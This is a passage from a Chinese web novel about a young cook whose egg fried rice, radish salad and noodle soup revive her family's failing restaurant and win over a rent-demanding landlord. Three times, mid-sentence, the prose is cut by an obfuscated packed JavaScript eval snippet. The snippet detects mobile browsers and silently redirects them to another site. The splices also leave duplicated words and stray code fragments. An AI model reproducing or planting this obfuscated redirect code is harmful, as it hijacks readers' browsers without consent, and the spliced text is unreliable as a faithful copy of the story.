“你瞧你的肚子，都圆成什么样了，还饿？你不是饿，是嘴馋。再吃肚子要撑坏了。” 毛毛不依，小奶音糯糯的：“毛毛，能吃。” 许爸一爸抱起毛毛：“快出去，别在这儿妨碍你姐姐干活。” 毛毛的小肩膀顿时耷拉下来，圆嘟嘟的小脸写满失落。许知味忍俊不禁，摇摇头，转身继续忙碌。 不多时，两盘堆得高高的蛋炒饭端到了杨爷爷杨奶奶面前。 老两口尝了第一口，瞳孔放大。 杨爷爷杨奶奶今年六十二，活了大半辈子了，这还是头一次吃到这么好吃的蛋炒饭！ 得知这饭是许知味做的，他们更是惊讶。杨奶奶嚼着饭粒，感叹：“知味真是能干，读书时成绩就好，做饭也这么香。” 杨爷爷腮帮子塞得鼓鼓的，含糊不清地附和：“对！” 许知味笑着给他们添茶：“杨爷爷杨奶奶，慢点儿吃，别噎着了。” 杨爷爷杨奶奶年纪大了，年纪大了，胃口一直不太好，可这蛋炒饭却让他们找回了年轻时的食欲。堆得满满的一盘大吃完，竟还想再要。 许妈连忙劝阻：“年纪大了吃多了不消化，可不能再吃了。” 杨爷爷杨奶奶这才不情不愿地放下筷子。 “明儿我们还来。”杨奶奶意犹未尽。 “还来！”杨爷爷用力点头。 吃完了老两口就回小卖部了。许妈站在门口，脖子探的老长，半天都没人进来吃饭。 她侧过身，去瞧街头的那家饭馆。街头的那家的好再来饭馆，装修比他们饭馆好，厨子是专业级厨师，拿了高级厨师证的，生意比他们家好多了。 不断有客人进好再来饭馆，自家饭馆却冷冷清清，许妈酸得牙齿都要掉了。 本来自家饭馆的生意还凑合，自从两年前好再来饭馆开在街头后，吸走了许记饭馆大部分客人。 酸，但是也没用。谁让人家确实比他们厉害。 不对。许妈突然精神一振。谁说他们许记饭馆没好再来厉害了？至少他们家的蛋炒饭现在比好再来饭馆的蛋炒饭厉害！ 想到女儿说明天要搞半价酬宾，用招牌蛋炒饭吸引客人，许妈心里燃起希望。她相信，只要尝过她女儿的翻炒饭的，一定会成为回头客！ 她正这般憧憬希冀着，下午来吃蛋炒饭的那俩小伙子又来了店里。他们还带了两个朋友过来。 李尚扯高嗓门：“老板，要四份蛋炒饭！” “好嘞！”许妈笑容满面，赶紧招待客人。 后厨里，许爸利落地抓散隔夜米饭、打好鸡蛋，许知味掌勺翻炒，父女俩配合默契。 等待的工夫，许妈先上了小菜酸萝卜泡姜。蛋炒饭上桌，四个年轻人立刻狼吞虎咽起来。 李尚和周晓明带来的两位朋友，尝过蛋炒饭，反应如出一辙：“我草！” “牛逼啊！” 被推荐来的两位朋友彻底被蛋炒饭的美味折服，埋头猛扒，疯狂往嘴里炫饭！ 他们四人一共吃了八份蛋炒饭，又打包回去了四份。 他们刚走，店里来了个点鱼香肉丝盖饭的女生。许爸給女生做鱼香肉丝盖饭，许知味给女生炒了一份蛋炒饭，送给女生。 目光触及端到自己面前的蛋炒饭，女生诧异：“我没点这个啊。” 许知味笑笑：“送您的。” “好吧，谢谢啊。”女生很惊喜。免费的不吃白不吃。而且这蛋炒饭卖相很漂亮，看着就不难吃。她闻了闻，好香。 蛋炒饭入口先是米粒的油润喷香，颗颗分明，不粘牙，也不油腻。 每一粒米里，都藏着火腿丁的咸鲜。夹杂着的鸡蛋，软嫩得像云朵，与脆爽的青豆在舌尖交织出丰富的层次。咽下时，尾调还留着一丝葱花的鲜灵气。 整个蛋炒饭，不油不腻，不杂不乱，余味透着恰到好处的醇味，吃完满口腔都是熨帖的舒坦！ 女生目瞪口呆。万万没想到眼前的这碗蛋炒饭这么好吃。 她把蛋炒饭吃了个精光，鱼香肉丝饭就没吃几口。和蛋炒饭相比，鱼香肉丝饭的味道就差远了。 这差距，就好比一个像是国宴大厨做出来的，一个是才初学厨艺是人做出来的。 将鱼香肉丝打包带走，女生回头望了一眼许记饭馆，决明天还来这里吃蛋炒饭。 晚上九点打烊，许妈在柜台算账。扣除成本，今天净赚一百一十一块，比昨天的五十块强多了。 多亏了闺女的蛋炒饭，不然，今天可能还不如昨天，五十块都可能没有。 打扫完清洁，已经是九点半了。一家人离开饭馆。他们的家在饭馆后面的居民楼里，离得很近，走路五六分钟就能到。 老式居民楼墙壁斑驳，没有电梯。看着父母爬楼时揉膝盖的样子，许知味暗暗握拳，一定要努力挣钱，给父母换套电梯房，以后不必再辛苦爬楼梯。 次日清晨六点半，天还没亮，许爸许妈就去菜市场采购了。 食材处理，备料，厨房整理，前厅准备，一通忙活，就到了九点钟。离饭馆开门营业还有一个小时。饭馆不卖早饭，通常上午十点开始营业。 许妈望了望门口挂着的红色横幅：“优惠酬宾，招牌蛋炒饭半价”，满意地点点头，转身进了后厨。 后厨里，许知味正在切萝卜。她右手执刀，左手稳按白胖的萝卜，下刀快得带出残影。“笃笃笃”的声响密集如雨，清脆而有节奏。 许爸也在切萝卜丝，他道：“怎么刀工也长进了？” “一直在练习。”许知味许知味手起刀落，起落精准，毫厘不差，行云流水。 一根萝卜切完，萝卜丝拢入清水盆中。萝卜丝入水后瞬间舒展，如同活了一般。根根分明，细若银针，透亮如丝。 许爸捻起许知味切的萝卜丝，感叹：“每一根好像都是一样细，你这刀功真是……你爸我切了一辈子菜也切不成你这样的。” 唉！在厨艺上，天赋和没天赋，差别真的很大！许爸喟叹的同时，又庆幸她闺女继承了祖上的基因天赋。 听了许爸的话，许知味心里默默摇头。她现在的刀工，并没有达到她的要求。 刀工，是肌肉记忆的事。她在古代的刀功达到至臻地步，可她穿回来了，只有刀工的心理记忆，没有肌肉记忆。这具身体没有至臻刀工的肌肉记忆，所以刀工还欠缺。 现实并非像那些影视小说里的主人公一样，穿越过去了，刀工也被穿越的身体继承了。这很扯淡，靠着脑子里的刀功技术记忆，或许会提高一点刀功，但真正要完全提高，还是得身体勤加练习，创造肌肉记忆。 切好的萝卜丝，加白糖抓拌均匀，腌制十五分钟。腌好后清洗掉多余的糖分，挤干水分。 盐，蒜末，小米辣，生抽，陈醋，芝麻，香油，香菜，按照一定的比例抓拌进萝卜丝里。凉拌萝卜丝，大功告成。 许知味夹起萝卜丝，喂给许妈许爸：“尝尝。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578549|187214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 牙齿轻轻一碰，萝卜丝“咔嚓”裂开，酸辣汁水瞬间在舌尖迸发，却不呛人，只觉一股清爽直冲脑门。 再咀嚼咀嚼，腌制时加入的白糖此刻显出妙处，糖特有的回甘恰到好处地中和了醋的尖锐，让酸味变得圆润柔和。 小米辣的辣意像是跳跳糖，在味蕾上跳跃，却不灼人，很是适度。蒜末的辛香被萝卜丝温柔包裹，化作一缕若有似无的辛，在鼻腔萦绕。 最妙的是萝卜丝本身的口感，每一根都保持着恰到好处的脆度，既不失水分，又不显硬涩，在齿间轻快地断裂，发出悦耳的细微声响。 萝卜丝以及各种配料融合成的复合滋味，在口腔里交织成一首清脆爽口的协奏曲！ 许妈忍不住又夹了一筷子，细细品味后道：“这萝卜丝……怎么和我们拌的完全不一样？明明调料都差不多，可这味道就是更透，更爽口……” “调味的差别。有时候少一点盐，多一点盐，味道天差地别，差之毫厘谬以千里。” 许爸点点头，又吃了一大口，赞不绝口：“天热，吃一口凉拌萝卜丝，又清爽又舒坦，还开胃，正正好。” 凉拌萝卜丝，是许知味决定用来赠送的小菜。很适合蛋炒饭吃。 十一点，许家提前吃午饭。依旧是炒的蛋炒饭。饭还没吃上，胖乎乎的房东王大爷又来了。他皱着眉：“我昨天是说好了再给你们宽限一周，可没想到……反正我现在手头有点紧，你们得赶紧把房租给我。” 王大爷昨天打牌输了，手头紧了起来，这才又来催房租了。 许爸为难：“这……可是我们……” 王大爷不耐：“都已经给你们宽限了这么久了，已经对你们够好了，你们就别再拖了，再拖，这店子我得收回来了。” “那……”许爸赧然，“能不能先给一半？我们现在手头实在是拿不出来这么多钱。” 王大爷：“一半不行，不给房租你们就直接搬走吧。” 这许家饭馆，眼瞧着也是开不下去了，迟早要倒闭，王大爷早就盘算着找下家了。 “房东，您再宽限宽限成不成，我们现在拿不出那么多钱来，实在是对不住。” “要不干脆你们还是别租了。”王大爷很是不耐，“反正你们这店也开不下去了，你们早些搬走，我早些把店转给别人。” “我们要租，要继续租的。” “要租就拿钱。”王大爷忽然抽抽鼻子，“什么味儿这么香？” 许知味眼光微闪，端着一碗蛋炒饭走过来：“房东，您吃午饭了吗？要不吃碗蛋炒饭？我们刚好做了有多的。” 她走到王大爷面前，特意挨他很近，将蛋炒饭递到他眼下：“房东您瞧，咱家的蛋炒饭可香了，要不尝尝。” “赶紧拿房租来，谁要吃你家的————”浓香铺天盖地入鼻，王大爷的声音戛然而止。 王大爷瞪着金灿灿，热腾腾，香喷喷的蛋炒饭，口水稀里哗啦地分泌而出。 被勾起的食欲，仿若一只大手，按着他的脑袋点头：“那我……吃一点儿？” 二话不说，许知味直接把碗塞进了王大爷手里。许爸也赶紧拉着王大爷坐下：“坐下一起吃。” 王大爷舔舔嘴，握住筷子。吃了一口蛋炒饭，他瞠目：“哎哟！” “再尝尝咱家的凉拌萝卜丝。”许知味将一碟萝卜丝推到王大爷面前。 萝卜丝刚送进嘴里，酸甜爽辣便在味蕾上窜起来。 丝丝极脆生，喀嚓喀嚓，齿颊间满是清凉，咽下肚，只留满口爽利。暑气竟在这清脆里悄悄融了半个去。 王大爷又一声：“哎哟！” 王大爷仿佛只会“哎哟”这两个字了一般。一口饭，一口萝卜丝，吃得直“哎哟”！ 5. 第五章 又一声“哎哟”从喉间挤出，王大爷深吸一口气，勉强压下了心头的震撼。他抬起眼，略带疑惑地打量着许家一家人。 许家租他的店面已有五年，他从未在许家饭馆吃过一顿饭，自然也无从知晓这家的手艺究竟如何。 如今吃了他家的蛋炒饭和萝卜丝，味道惊为天人。他才晓得原来许家的手艺这么好！ 王大爷心里顿时浮起一个巨大的问号。既有这样的手艺，饭馆的生意怎么会一日不如一日，甚至落到快要倒闭的境地的？ 他满腹不解，却又不好直接开口问。那不等于往人家伤口上撒盐么？ 许知味笑盈盈地又给他夹了一筷子萝卜丝：“王爷爷，我看您喜欢这味儿，待会儿给您装两碗带回去，下饭下酒都行。” “哎哟，那敢情好！”王大爷那张胖乎乎的脸顿时笑开了花，红光满面。 他足足吃了两大海碗蛋炒饭，直到肚皮滚圆，心满意足地靠在椅背上，一边摸着肚子一边问：“你们这蛋炒饭和萝卜丝咋卖的？” 许知味：“萝卜丝是送的，蛋炒饭八块一份，今天半价。” 这么好吃的凉拌萝卜丝免费？这么好吃的蛋炒饭只卖八块，今天还半价？！王大爷咂咂嘴，道：“我买一些萝卜丝回去下酒，多少钱。” “嗐，”许知味笑起来，“您爱吃，我给您装两碗，不要钱。” “那咋能行。” “您别客气，尽管拿去吃。”许知味已起身去装萝卜丝，很快就递来满满两大盒。 王大爷嘴上推辞，手却麻利地接了过来。正乐呵着，忽然想起今天来的正事，他今天可是来收租的！ 这下可真是吃人嘴软，拿人手短。他嘴唇动了动，话在嘴里转了几个弯。再一想：要是许家真交不起租，店关了，以后不卖饭了，我上哪儿再吃这么一口蛋炒饭和萝卜丝？ 念头一转，他立刻清清嗓子：“房租……我再宽限一星期……再宽限十天，你们抓紧凑凑。” 十天？延长了宽限期？许爸许妈顿时一喜：“成！谢谢您！” 王大爷拎着两盒萝卜丝，哼着小调晃出了饭馆。 许爸许妈狠狠松了口气。 正午，杨爷爷杨奶奶慢悠悠走进店里：“小许，春华，我们又来吃蛋炒饭啦。” 这时，一对情侣路过春熙老街，一眼瞥见许记饭馆门口那条横幅：“招牌蛋炒饭半价，仅需四元”。 招牌蛋炒饭半价？只要四元一份？怎么不全场半价呢，就蛋炒饭半价？这对情侣挑挑眉。 本来中午不想吃蛋炒饭的，但是半价诶，只要四块就能吃到蛋炒饭。这便宜不占白不占。 两人对视一眼，抬脚进了店，点了蛋炒饭。 赠送的小菜先上桌。许妈微笑：“这是咱们店赠送的小菜。” 小碟里的萝卜丝晶莹剔透，情侣两人夹起一尝，清脆爽口，酸辣得当，滋味恰到好处，咽下去整个身心都舒爽起来。 “哇，好吃！”女孩很是意外。 男孩附和：“这萝卜丝挺好吃的，居然是免费赠送的？” 转头他又问许妈：“老板，这个萝卜丝真是免费赠送的吗？” “是的。” 男孩竖起大拇指：“老板，你们家这凉拌萝卜丝，是这个，我从来没吃过这么好吃的凉拌萝卜丝！” 许妈说：“喜欢吃就成。” 蛋炒饭还没上桌，两碟萝卜丝已被扫荡一空。两人有点不好意思：“那个……萝卜丝还能再送一碟吗？” “本来一人一碟，但你们喜欢，就再送两碟！” 情侣不好意思起来：“谢谢老板，老板大气！祝老板生意兴隆！” 等蛋炒饭上桌，两人只吃了一口，就差点没跪下来唱征服。 他们从彼此眼中看到同样的震惊，随即低头猛扒，吃得眼睛都眯成了缝。 见他俩吃得香，许妈心头舒展开来。紧接着，就又看到有一位客人探头进入饭馆。 “我看到你们外面上面写的蛋炒饭半价四块钱一份？” “对对对。” “来一份吧，在这里吃。” “好嘞！” 许妈欢欢喜喜地去通知后厨。 搞活动果然很有用，贪便宜的还是多的。过去他们也搞过酬宾活动，但往往只是昙花一现，活动一停，人就散了。 可这次不一样。现在有许知味的手艺在，许妈就不信吃过的客人，没了优惠活动就一个都不来了。总会有人喜欢许知味的手艺，成为回头客的。许妈信心满满。 店外，路人对着横幅指指点点。有人心动想占这四块钱的便宜，也有人不以为然。 “还不如多花几块钱去好再来饭馆吃蛋炒饭。人家那蛋炒饭可是高级厨师做的，好吃多了。” “就是。四块钱不是钱啊，四块钱的蛋炒饭不好吃，那也是浪费了四块钱，还不如多花几块钱吃更好吃的蛋炒饭。” “走走走，去好再来饭馆！” 现在店里，有六个人在吃饭，有四个人吃的都是蛋炒饭，剩余两个人吃的别的饭，见其他桌的那四个人吃蛋炒饭吃的香，也忍不住点了蛋炒饭。吃了之后，无一不赞不绝口的。 整个中午，许记饭馆共接待了二十二位客人。其中十八人点了二十二份蛋炒饭，另外四人点了土豆丝饭、肉末茄子饭之类的，最后见旁人吃得香，也都没忍住，一人追加了一份蛋炒饭。 也就是说，中午营业额一共一百五十七元。利润差不多九十。情况还行。 下午两点，饭点已过，店里渐渐安静下来。许妈坐在柜台前按完计算器，轻轻吁了口气：“还行，中午两个小时挣了小九十，再挣二三十，今天房租就赚回来了。” 许爸点点头。许知味倒了杯凉茶后，就去厨房练习刀工了。 许妈：“知味，你不歇会儿？” “我练练刀功再歇。” 练习刀工，刻不容缓。许知味没有想歇息的心思，只想不停地练厨艺，练厨艺，晚上睡觉梦里都在练习厨艺。 许爸也跟着一同去练刀工，跟着许知味学。 父女两人进厨房没多久，又有一位中年女人推门而入。过了饭点还有客上门，许妈赶紧招呼：“欢迎光临，吃点什么？” 中年女人：“蛋炒饭半价四元？” “对头对头。” “我要一份蛋炒饭。” “好，请稍等！” 许妈端上过来一碟萝卜丝：“这是蛋炒饭赠送的小菜。” 中年女人喝了口凉茶，瞧了瞧亮晶晶的萝卜丝，筷子夹起一丝。咔嚓嚼碎萝卜丝，她的眼睛立时亮起来。 吃完蛋炒饭，中年女人问：“这萝卜丝单卖不？我想带一份回去。”这凉拌萝卜丝，好吃到了中年女人的心坎儿上，她寻思买一份回去下饭吃。 许妈想了想，道：“七块一份，打包盒要加一块。” “行，打包一份。” 下午四点二十，许妈骑上小电驴去接毛毛。来回二十分钟，四点四十回到店里。 毛毛坐在小桌前，一边晃着小短 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578550|187214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腿嚼萝卜丝，一边奶声奶气地说：“毛毛，天天吃蛋炒饭，天天吃萝卜！” “天天吃，腻不死你。”许妈敲敲她的圆脑袋。 毛毛：“好吃，不腻！” 听到毛毛这话，许妈内心是赞同的。知味做的蛋炒饭和凉拌萝卜丝太好吃了，好吃到似乎怎么吃也吃不腻，似乎想吃一辈子。念及此，她吸溜了一下口水。四点才吃了晚饭，这会子又想吃了。 毛毛吃完饭，溜进后厨。见许爸坐在地上洗萝卜，她也蹲下来，撅着小屁股吭哧吭哧帮忙。 许知味笑：“毛毛真勤快。” “嗯！”毛毛咧嘴笑出一口小白牙。 不一会儿，毛毛凑到许知味面前，伸出被水泡皱的手指头，小脸写满难过：“姐姐，我的手，它老了。” “老了？哪里老了？” 毛毛指着自己皱巴巴的指腹：“和爷爷一样，有皱纹了。” 许知味哭笑不得：“不是老了，是水泡的，一会儿就好。” “真的？” “真的，姐姐不骗你。” 毛毛立刻又高兴起来：“它没老！” “对。” “好啦，不需要你帮忙洗了，去玩儿吧。”许知味拍拍毛毛的肩膀。 毛毛不听，继续吭哧吭哧洗萝卜。 到了五点，晚饭时间。店里陆陆续续来了客人。 “就是这家，我中午来吃过的，妈呀那蛋炒饭，那萝卜丝，绝了！你一定要尝一下！” “老板，还跟中午一样，一份蛋炒饭，一份拍黄瓜！” 中午来过的客人，晚上又来了，大多还带了新客。一时间，小店热闹起来。 饭馆热闹了，外头路过的人，有些想吃饭的，也进了饭馆。 饭馆，就讲究个人气。吃饭的人越多，越能招更多的人来。打个比方，一家冷冷清清的饭馆，和一家热闹的饭馆，食客会更倾向于去那家热闹的饭馆吃饭。 所以许记饭馆一热闹起来，便吸引了更多的食客进来。 已经许久没见过自家饭馆这么热闹了。许妈看到这一幕，又是欣喜，又是心酸。 王大爷也来吃晚饭了，他等得急：“我的蛋炒饭快点儿啊，饿得前胸贴后背了！” “行，帮您催催。”许妈笑着收拾空桌上吃完的碗筷。 时间一晃到八点。店里还剩两位客人等餐。门口帘子一响，一对夫妻拉着个男孩走进来。 “我要吃汉堡包！小猪佩奇套餐！”金宝扭着身子不肯进来。 “前两天刚吃过，不能再吃了。”李妈妈拉他进来，硬把他按在椅子上，“这家的蛋炒饭好吃，比那汉堡包强多了。” 金宝嘴撅得能挂油壶：“不要！我就要吃小猪佩奇汉堡包！” “你这孩子！”李妈妈捏捏他的胖脸，“等你尝一口就知道妈妈没骗你。” 金宝捂住耳朵：“我不吃！一口都不吃！” 李妈妈李爸爸简直头大。也不知道这孩子怎么就那么喜欢可乐汉堡包那些西式垃圾食品，那些东西吃多了对孩子的身体发育不好，可偏偏孩子又特别喜欢吃！ 小菜没了，李爸爸李妈妈他们没有小菜。他们虽然遗憾吃不到那么好吃的萝卜丝了，但也不是很介意。明天再来吃就是。 等待片刻，三份金灿灿的蛋炒饭上桌。许妈拿起小勺，舀起一勺递到金宝嘴边，柔声说：“来，尝一口，可香啦。” 金宝别过脸：“我才不吃！我要吃小猪佩奇汉堡包！我才不吃蛋炒饭，我————” 6. 第 六章 浓郁的香气钻进鼻腔，金宝原本要说的话顿时卡在了喉咙里。他鼻翼翕动，眼睛眨了眨，目光牢牢锁住勺子里金灿灿、香喷喷的蛋炒饭 饭粒粒分明，裹着金黄的鸡蛋，热气裹挟着香气直扑他的脸颊。每一缕香味都像无形的钩子，将他的视线死死钉在那勺蛋炒饭上。 口水不受控制地涌出，金宝赶紧吸溜一声。 李妈妈：“来，尝一口。” 金宝的小胖手紧紧扒着桌沿，一眨不眨地盯着蛋炒饭，嗓子不自觉地滚动了一下，终于张开嘴，含住勺子。 蛋炒饭入口的瞬间，金宝的眼睛倏地睁得溜圆。 “怎么样？”李妈妈笑问。 金宝：“我要吃！” 他吃得又快又急，含混不清地嚷嚷：“我的！都是我的！爸爸妈妈你们不许抢！” 先前还信誓旦旦地说一口都不吃，现在却比谁都吃得欢。李妈妈和李爸爸相视而笑，忍俊不禁。 李妈妈拍他：“慢点吃，别噎着了，没人跟你抢。” 说完夫妻俩这才开始动筷用餐。 这蛋炒饭，比那些大餐厅做的要香多了。夫妻俩不约而同地在心中再次喟叹。简直是越吃越好吃，越吃越惊艳。尽管先前已经惊艳过一次，可再次吃上还是忍不住震撼！ 咽下一口饭后，李妈妈对埋头苦吃的金宝说：“是不是比汉堡包好吃多了？” 金宝从饭盘里抬起头，小脸沾着饭粒：“蛋炒饭比小猪佩奇汉堡包好吃！妈妈，我还要吃！” 李妈妈笑出声：“那还吃不吃汉堡包了？” “不吃不吃，要吃蛋炒饭！” 李妈妈李爸爸心头顿时舒坦了。随即又点了一个炒菜配蛋炒饭吃。 尝了一口小炒菜，李妈妈望向许妈：“老板，怪不得你家蛋炒饭是招牌，和其他菜比起来，蛋炒饭确实出众。对了，还有萝卜丝，也很爽口。” 许妈笑笑：“招牌菜，总要比其它菜好吃些的。” “这可不是好一点半点，”李妈妈觉得话说得太直白不妥，便委婉道，“差距还是很明显的。” 此时已是晚上八点半，后厨闲下来。许知味说想吃宵夜，想吃苕粉皮子汤。 “行，爸给你做。” 苕粉皮子汤做好，许知味捧起苕粉皮子汤，吸一口气。 红油苕粉皮子汤，滑溜溜的，酸辣润口，许知味笑道：“爸你做的苕粉皮子就是好吃。” “那你多吃些，不够我再煮点。” 许妈一边吸溜着苕粉皮子，一边按着计算器算账，脸上带着喜色：“今儿营业额四百八十多，净赚差不多两百五！” 若是蛋炒饭按正常价卖，今日差不多能盈利三百多。 若是蛋炒饭按原价卖，今日盈利能上三百。许爸也面露喜色：“明天继续！” 躺到床上时，已经是十点多了。许知味打打呵欠，看到姜欣给她发了消息。 姜欣：【真要辞职不干了？】 许知味：【嗯，回来帮爸妈开饭馆。】 姜欣：【哎也行，你现在炒的蛋炒饭这么好吃，回家和你爸妈一起卖蛋炒饭，生意肯定好。等我有空了，去你家饭馆蛋炒饭！】 姜欣打着字，口水已经不自觉地分泌出来。自从周日凌晨尝过许知味做的蛋炒饭后，她到现在还对那味道念念不忘，吃什么都觉得索然无味。 她咂咂嘴，闻到从楚楚房间里飘来的蛋炒饭香味。这两天楚楚顿顿都在点蛋炒饭。 卧房里，楚楚盯着眼前的蛋炒饭，一阵无语。这两天她点了许多家的蛋炒饭，没有一家的香味能比得上许知味做的！ 她恨恨咬牙。气得脸都歪了。 次日清晨，许爸许妈买菜回来后，许知味将红薯淀粉调成稀浆，在热锅里摊成粉皮，再细细地切成条。 酸萝卜丁与酸豇豆在锅里炒得油亮喷香，盛起备用。 白润润的猪油，爆得滋滋响时，撒一把葱蒜末，香气“呼”地窜上来。这时许知味把酸料倒回去，淋酱油、点糖，酸香与油香便融作一团，热腾腾地直往鼻子里钻。 那边清水滚开了，苕粉皮下锅翻腾。碗底早已备好了调味料，滚烫冲调料，捞起煮软的粉皮放入汤碗中，舀两勺浇头盖上，齐活！ 许爸许妈毛毛看着碗里的苕粉皮子汤，纷纷咽口水。 “这苕粉皮子做的，比你爸做的香多了。”许妈捧起碗，深吸口气。 许知味为了不露出破绽，其实并没有把苕粉皮子做得特别好吃，只是比许爸做的好吃一点而已。并没有达到她应有的水准。 然而就是这“好吃一点”，在许妈许爸看来，已经是好吃了不少。 碗里浸着汤汁的苕粉皮子，晶莹中透着淡黄，油亮润泽，浓香热腾。 筷子搅拌搅拌，浇头融进苕粉皮子里，许爸许妈嗦了一口苕粉皮子。 苕粉皮子滑溜，且嫩。不糊汤，也不黏糊。入口滑溜，嚼着却又韧韧的，仿若煮出了筋骨来。 微微的弹性，带着恰到好处的筋道，在唇齿间轻轻回弹。 一弹，弹开了酸辣。再一弹，猪油的荤香和葱末的辛香便漫开了。 酸得爽利，辣得温润，两下里一撞，倏地在舌尖上化开。教人忍不住闭了眼，细细地回那一缕余味。 夫妻俩各吸溜起一箸粉。任凭那韧韧的筋道在齿间来回肆虐，嗦得满口生香。 许妈道：“你不是只研究了蛋炒饭，怎么现在做凉拌萝卜丝也好吃，做苕粉皮子也这么好吃？” 许知味解释说，自从开始钻研蛋炒饭后，她每日勤学苦练厨艺，像是有一根筋突然开了窍，其他菜也比以前做得好吃些了，但只是好吃一些而已，还比不上蛋炒饭。 “我想，我继续勤加练习，说不定以后做的其他菜，也能和蛋炒饭一样好吃。”许知味说道。 许妈点点头。许爸笑眯眯：“你原先是没开窍，现在开窍了，老祖宗的基因在你身上显灵了！” 许知味嗯了一声，继续嗦着苕粉皮子。早上吃一碗滑溜溜的苕粉皮子，爽口开胃。她足足吃了一碗半才罢手。 十点整，饭馆刚开门，就有食客上门了。 “可算开门了！快快快，给我来一份蛋炒饭！昨天吃了之后，回去做梦都在想着这口！”一个胖乎乎的白衣食客着急忙慌地坐下，像是饿了三天三夜。 许知味想着早上做的苕粉皮子还有剩余，不卖白不卖，便笑着推荐：“只要一份蛋炒饭吗？要不要尝尝我家的苕粉皮子？味道也很不错，配着蛋炒饭吃，和萝卜丝一样下饭。” 晶亮的灯光打在她长卷的睫毛上，她眼角弯弯，白净温婉，似一朵温柔的风铃草。 白衣食客脸红了红：“呃……那，那要一份苕粉皮子吧，多少钱一份？” “十块。” “行，来一份吧。” 蛋炒饭先上桌，白衣食客吃一口，赞一声，吃得两眼都眯成了一条缝。 “您好，这是您的苕粉皮子。” 浓郁得化不开的汤香瞬间捕捉住白衣食客的味蕾。这汤香气有些缠人，白衣食客完全被这股子浓郁团拢住了，不由得喉头一动。 苕粉皮子，汤色微微泛着黄，上面浮着些油星子，油星子如碎金，浅浅地笼罩着粉皮子。 粉皮子是半透明的，亮晶晶地卧在汤里，犹如含着光。酸萝卜丁缀在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578551|187214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汤面上，散发着酸香。 他先呷了一小口汤。酸溜溜，辣丝丝。 而这酸溜溜与辣丝丝，并非劈头盖脸地来。这酸不是尖利的，带着点儿醇厚。辣呢，仿佛隔着层纱，躲在后头，朦朦胧胧地撩拨着味蕾。 如若像雨丝，细细的，润润的，只在舌尖上轻轻一旋，便顺着喉咙滑下去了，一路香到胃里。 白衣食客嘶了一声，再夹起一箸粉皮子。 粉皮颤巍巍的，在筷头上打着晃儿。送进嘴里，轻轻一吸，滑溜的皮子便“哧溜”一声钻了进去， 用牙齿轻轻一碰，竟是意想不到的弹牙。筋筋道道的，带着些绵绵软软的抵抗，像是橡皮糖，却又比橡皮糖绵软，口感比橡皮糖更有些说不清的妙处。 不知不觉，一碗已见了底。 白衣食客意犹未尽地咂咂嘴，香醇的余味还恋恋地萦绕在唇齿之间，袅袅的，迟迟不散，似黄昏时分巷子口飘来的炊烟。 碗底还剩着些许汤汁，在灯下亮汪汪地泛着油光。白衣食客连这最后一点也喝得干干净净。 随之心里竟浮起个不大体面的念头，想把碗舔干净。若不是怕人笑话，真想把碗也舔上一舔。 “怎么以前没发现这家这么好吃的店！”白衣食客后悔不已。若是早点发现这家店，他就能早些享受到这般美味了！ 懊悔之余，他对许妈说：“老板，你们这宣传做得太不到位了，这么好的手艺，早就该扬名了。不至于让我到现在才知道你们家饭馆这么好吃！” 许妈但笑不语。以前宣传也没用，以前她闺女手艺也没这么好。 很快又有人来吃蛋炒饭。现在十点多，不是饭点，就已经来了好几个吃蛋炒饭的。许妈高兴得牙不见眼，面上纹路都舒展开来。 陆陆续续来人吃饭，有人问：“老板，你们这个活动搞到什么时候啊？” “只做三天，做到明天就结束了，门外面有写截止日期。” “那我今天明天得多吃点！”食客急吼吼又点了一份蛋炒饭。 午后三点光景，人渐渐稀了。许知味闲下来开始练习调味。许爸在旁边观摩，跟着学习。许爸越跟着学，越是觉得他闺女这天赋真是高！ 才练习没多久，就又有客人来，说是要吃苕粉皮子汤。许妈见今天这苕粉皮子好卖，连忙多去买了些苕粉回来备用。 下午五点半。林燕婷下了班，在老街逛了一圈，迟迟没决定要吃什么。唉，老街这里的馆子她几乎都吃遍了，也都吃腻了，这会儿逛了半天也不知道该吃什么好。 路过许记饭馆，她注意到饭馆拉的横幅。蛋炒饭半价四元？她不是很想吃蛋炒饭。而且这家饭馆她之前吃过，味道普普通通。 转了半天，还是不知道吃什么，又路过许记饭馆，看到饭馆门前有人在大声打电话。 “这家的味道真的绝了！绝对是我这辈子吃过的最好吃的饭馆！你快来吃！保证你吃了满意！！” “什么？骗你？真没骗你！我发誓，这家饭馆的蛋炒饭，是全世界最好吃的蛋炒饭！”说着，打电话的人抹泪，“好吃到我都哭了，你信吗？” 目睹这一幕，林燕婷：“……” 她又不是没吃过许记饭馆，还能不知道它什么味道吗？也就普普通通而已，还全世界最好吃的饭馆？还能好吃到把人吃哭？ 